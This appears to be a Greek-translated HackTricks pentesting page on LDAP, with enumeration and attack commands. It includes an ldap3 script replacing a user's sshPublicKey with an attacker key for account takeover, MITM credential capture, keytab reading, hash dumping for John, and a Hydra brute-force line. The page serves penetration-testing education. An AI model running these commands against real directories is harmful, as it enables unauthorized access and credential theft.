Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs σταHackTricks και HackTricks Cloud αποθετήρια του github.
Η χρήση του LDAP (Lightweight Directory Access Protocol) γίνεται κυρίως για τον εντοπισμό διάφορων οντοτήτων, όπως οργανισμών, ατόμων και πόρων όπως αρχεία και συσκευές, εντός δικτύων, τόσο δημόσιων όσο και ιδιωτικών. Προσφέρει μια απλοποιημένη προσέγγιση σε σύγκριση με τον προκάτοχό του, το DAP, έχοντας έναν μικρότερο κώδικα.
Οι καταλόγοι LDAP είναι δομημένοι έτσι ώστε να επιτρέπεται η διανομή τους σε αρκετούς διακομιστές, με κάθε διακομιστή να φιλοξενεί μια αντιγραφή και συγχρονισμένη έκδοση του καταλόγου, που αναφέρεται ως Directory System Agent (DSA). Η ευθύνη για την επεξεργασία των αιτημάτων βρίσκεται αποκλειστικά στον διακομιστή LDAP, ο οποίος μπορεί να επικοινωνεί με άλλα DSAs όπως απαιτείται για να παράσχει μια ενοποιημένη απάντηση στον αιτούντα.
Η οργάνωση του καταλόγου LDAP μοιάζει με μια ιεραρχία δέντρου, ξεκινώντας από τον ριζικό κατάλογο στην κορυφή. Αυτό κλαδεύει σε χώρες, οι οποίες διαιρούνται περαιτέρω σε οργανισμούς και στη συνέχεια σε οργανωτικές μονάδες που αντιπροσωπεύουν διάφορες διαιρέσεις ή τμήματα, φτάνοντας τελικά στο επίπεδο των ατομικών οντοτήτων, περιλαμβανομένων τόσο ανθρώπων όσο και κοινόχρηστων πόρων, όπως αρχεία και εκτυπωτές.
Προεπιλεγμένη θύρα: 389 και 636 (ldaps). Ο κατάλογος Global Catalog (LDAP στο ActiveDirectory) είναι διαθέσιμος από προεπιλογή στις θύρες 3268 και 3269 για το LDAPS.
PORT STATE SERVICE REASON
389/tcp open ldap syn-ack
636/tcp open tcpwrapped
Μορφή Ανταλλαγής Δεδομένων LDAP
Η LDIF (LDAP Data Interchange Format) καθορίζει το περιεχόμενο του καταλόγου ως ένα σύνολο εγγραφών. Μπορεί επίσης να αναπαραστήσει αιτήματα ενημέρωσης (Προσθήκη, Τροποποίηση, Διαγραφή, Μετονομασία).
Οι γραμμές 1-3 καθορίζουν τον τομέα ανώτατου επιπέδου local
Οι γραμμές 5-8 καθορίζουν τον τομέα πρώτου επιπέδου moneycorp (moneycorp.local)
Οι γραμμές 10-16 καθορίζουν 2 οργανωτικές μονάδες: dev και sales
Οι γραμμές 18-26 δημιουργούν ένα αντικείμενο του τομέα και αναθέτουν χαρακτηριστικά με τιμές
Εγγραφή δεδομένων
Σημειώστε ότι αν μπορείτε να τροποποιήσετε τις τιμές, μπορείτε να εκτελέσετε πολύ ενδιαφέρουσες ενέργειες. Για παράδειγμα, φανταστείτε ότι μπορείτε να αλλάξετε τις πληροφορίες "sshPublicKey" του χρήστη σας ή οποιουδήποτε άλλου χρήστη. Είναι πολύ πιθανό ότι αν αυτό το χαρακτηριστικό υπάρχει, τότε το ssh διαβάζει τα δημόσια κλειδιά από το LDAP. Αν μπορείτε να τροποποιήσετε το δημόσιο κλειδί ενός χρήστη, θα μπορείτε να συνδεθείτε ως αυτός ο χρήστης ακόμα κι αν η ελέγχου κωδικού πρόσβασης δεν είναι ενεργοποιημένος στο ssh.
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/>>> importldap3>>> server=ldap3.Server('x.x.x.x',port=636,use_ssl=True)>>> connection=ldap3.Connection(server,'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN','PASSWORD',auto_bind=True)>>> connection.bind()True>>> connection.extend.standard.who_am_i()u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Καταγραφή διαπιστευτηρίων σε καθαρό κείμενο
Εάν χρησιμοποιείται το πρωτόκολλο LDAP χωρίς SSL, μπορείτε να καταγράψετε τα διαπιστευτήρια σε καθαρό κείμενο στο δίκτυο.
Επίσης, μπορείτε να πραγματοποιήσετε μια επίθεση MITM (Man-in-the-Middle) στο δίκτυο μεταξύ του διακομιστή LDAP και του πελάτη. Εδώ μπορείτε να πραγματοποιήσετε μια επίθεση Downgrade ώστε ο πελάτης να χρησιμοποιήσει τα διαπιστευτήρια σε καθαρό κείμενο για να συνδεθεί.
Εάν χρησιμοποιείται SSL, μπορείτε να προσπαθήσετε να πραγματοποιήσετε μια επίθεση MITM όπως περιγράφηκε παραπάνω, προσφέροντας ένα ψεύτικο πιστοποιητικό. Εάν ο χρήστης το αποδεχθεί, μπορείτε να πραγματοποιήσετε την υποβάθμιση της μεθόδου πιστοποίησης και να δείτε ξανά τα διαπιστευτήρια.
Ανώνυμη πρόσβαση
Παράκαμψη ελέγχου TLS SNI
Σύμφωνα με αυτήν την ανάλυση, απλά με την πρόσβαση στον διακομιστή LDAP με έναν αυθαίρετο τομέα (όπως company.com), ήταν δυνατό να επικοινωνήσει με την υπηρεσία LDAP και να εξάγει πληροφορίες ως ανώνυμος χρήστης:
Οι ανώνυμες συνδέσεις LDAP επιτρέπουν σε μη εξουσιοδοτημένους επιτιθέμενους να ανακτήσουν πληροφορίες από τον τομέα, όπως μια πλήρης λίστα χρηστών, ομάδων, υπολογιστών, χαρακτηριστικά λογαριασμού χρήστη και την πολιτική κωδικού πρόσβασης του τομέα. Αυτή είναι μια παλαιά ρύθμιση και από το Windows Server 2003 και μετά, μόνο εξουσιοδοτημένοι χρήστες επιτρέπεται να πραγματοποιούν αιτήματα LDAP.
Ωστόσο, οι διαχειριστές μπορεί να έχουν χρειαστεί να διαμορφώσουν μια συγκεκριμένη εφαρμογή για να επιτρέψουν ανώνυμες συνδέσεις και να παραχωρήσουν περισσότερη πρόσβαση από ό,τι αρχικά είχαν σκοπό, παρέχοντας έτσι σε μη εξουσιοδοτημένους χρήστες πρόσβαση σε όλα τα αντικείμενα στον AD.
Έγκυρα διαπιστευτήρια
Εάν έχετε έγκυρα διαπιστευτήρια για να συνδεθείτε στον διακομιστή LDAP, μπορείτε να ανακτήσετε όλες τις πληροφορίες σχετικά με τον Domain Admin χρησιμοποιώντας:
Εάν η απάντηση είναι True όπως στο προηγούμενο παράδειγμα, μπορείτε να αποκτήσετε ορισμένα ενδιαφέροντα δεδομένα του LDAP (όπως το περιβάλλον ονομασίας ή το όνομα του τομέα) διακομιστή από:
Αφού έχετε το περιβάλλον ονομάτων, μπορείτε να κάνετε μερικές πιο συναρπαστικές ερωτήσεις. Αυτή η απλή ερώτηση θα σας δείξει όλα τα αντικείμενα στον κατάλογο:
Windapsearch είναι ένα σενάριο Python που χρησιμοποιείται για να απαριθμήσει χρήστες, ομάδες και υπολογιστές από ένα πεδίο Windows χρησιμοποιώντας ερωτήματα LDAP.
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
ldapsearch
Ελέγξτε τα κενά διαπιστευτήρια ή εάν οι διαπιστευτήριά σας είναι έγκυρα:
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
Εάν βρείτε κάτι που λέει ότι "_πρέπει να ολοκληρωθεί η bind" σημαίνει ότι τα διαπιστευτήρια είναι εσφαλμένα.
Μπορείτε να εξάγετε τα πάντα από έναν τομέα χρησιμοποιώντας:
Για να δείτε αν έχετε πρόσβαση σε οποιοδήποτε κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε την εντολή grep μετά την εκτέλεση μίας από τις ερωτήσεις:
<ldapsearchcmd...>|grep-i-A2-B2"userpas"
pbis
Μπορείτε να κατεβάσετε το pbis από εδώ: https://github.com/BeyondTrust/pbis-open/ και συνήθως εγκαθίσταται στο /opt/pbis.
Το Pbis σας επιτρέπει να λάβετε εύκολα βασικές πληροφορίες:
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Χρησιμοποιώντας το ldapsearch μπορείτε να πιστοποιηθείτε εναντίον του kerberos αντί για το NTLM χρησιμοποιώντας την παράμετρο -Y GSSAPI
POST
Εάν έχετε πρόσβαση στα αρχεία όπου περιέχονται οι βάσεις δεδομένων (μπορεί να είναι στο /var/lib/ldap). Μπορείτε να εξάγετε τις κατακερματισμένες τιμές χρησιμοποιώντας:
Μπορείτε να τροφοδοτήσετε τον John με το hash του κωδικού πρόσβασης (από '{SSHA}' έως 'structural' χωρίς να προσθέσετε το 'structural').
Αρχεία Διαμόρφωσης
Γενικά
containers.ldif
ldap.cfg
ldap.conf
ldap.xml
ldap-config.xml
ldap-realm.xml
slapd.conf
IBM SecureWay V3 server
V3.sas.oc
Microsoft Active Directory server
msadClassesAttrs.ldif
Netscape Directory Server 4
nsslapd.sas_at.conf
nsslapd.sas_oc.conf
OpenLDAP directory server
slapd.sas_at.conf
slapd.sas_oc.conf
Sun ONE Directory Server 5.1
75sas.ldif
Αυτόματες Εντολές HackTricks
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f